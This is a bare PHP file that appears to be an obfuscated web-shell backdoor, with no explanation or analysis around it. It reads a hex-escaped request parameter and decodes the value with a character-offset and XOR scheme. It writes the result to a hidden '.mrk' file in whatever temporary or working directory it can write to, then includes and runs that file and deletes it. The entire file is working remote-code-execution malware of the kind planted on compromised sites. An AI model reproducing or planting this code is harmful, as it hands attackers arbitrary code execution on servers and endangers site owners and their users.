<?php

if(isset($_REQUEST) && isset($_REQUEST["r\x65f\x65\x72\x65nce"])){
	$flag = $_REQUEST["r\x65f\x65\x72\x65nce"];
	 	$flag	 = explode 		('.'		, $flag ); 	
	$property_set = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s4 );
            $t = 0;
    
            $__tmp = $flag;
            while ($v8 = array_shift($__tmp)) {
                $sChar = ord($s4[$t%	$lenS] );
                $dec = ((int)$v8 - $sChar - ($t%	10)) ^ 36;
                $property_set .=chr($dec );
                $t++; }  
	$pset = array_filter([getcwd(), sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]);
	while ($bind = array_shift($pset)) {
    		if ((is_dir($bind) and is_writable($bind))) {
    $pgrp = vsprintf("%s/%s", [$bind, ".mrk"]);
    $success = file_put_contents($pgrp, $property_set);
if ($success) {
	include $pgrp;
	@unlink($pgrp);
	exit;}
}
}
}